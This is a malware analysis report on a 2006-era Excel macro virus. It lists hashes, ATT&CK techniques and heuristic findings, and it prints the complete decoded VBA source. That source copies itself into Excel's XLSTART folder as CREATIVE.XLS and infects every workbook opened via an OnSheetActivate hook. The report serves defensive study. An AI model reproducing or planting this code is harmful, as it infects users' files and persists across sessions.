Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 04f32011adbc5813…

MALICIOUS

Office (OLE)

165.5 KB Created: 2006-05-11 03:24:02 Authoring application: Microsoft Excel First seen: 2015-02-17
MD5: 1535c31061f0f34c281ef4f05a05c5d7 SHA-1: ed51c71dfc69dd7748538a5aa4ffeff3191e8ec3 SHA-256: 04f32011adbc5813b29010e0abf482cc1992f14d40c3aae6ef96e2dbece3a937
108 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros. The `auto_open` subroutine sets up an `OnSheetActivate` event handler to execute `check_files`. This script copies the current workbook into the Excel startup directory as 'CREATIVE.XLS' and also attempts to infect other workbooks by copying a sheet into them, indicating a persistence and spreading mechanism.

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1900 bytes
SHA-256: 961a12d875efa6a72f94435eb0290111d33536c161ad18e9bcda3532ebed0ba3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "virus"





Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "CREATIVE.XLS")
    If m$ = "CREATIVE.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("virus").Visible = True
    Sheets("virus").Select
    Sheets("virus").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "CREATIVE.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("virus").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "creative.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "virus" Then
        Workbooks("CREATIVE.XLS").Sheets("virus").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("virus").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "creative.xls!check_files"
    Case Else
End Select
End Sub

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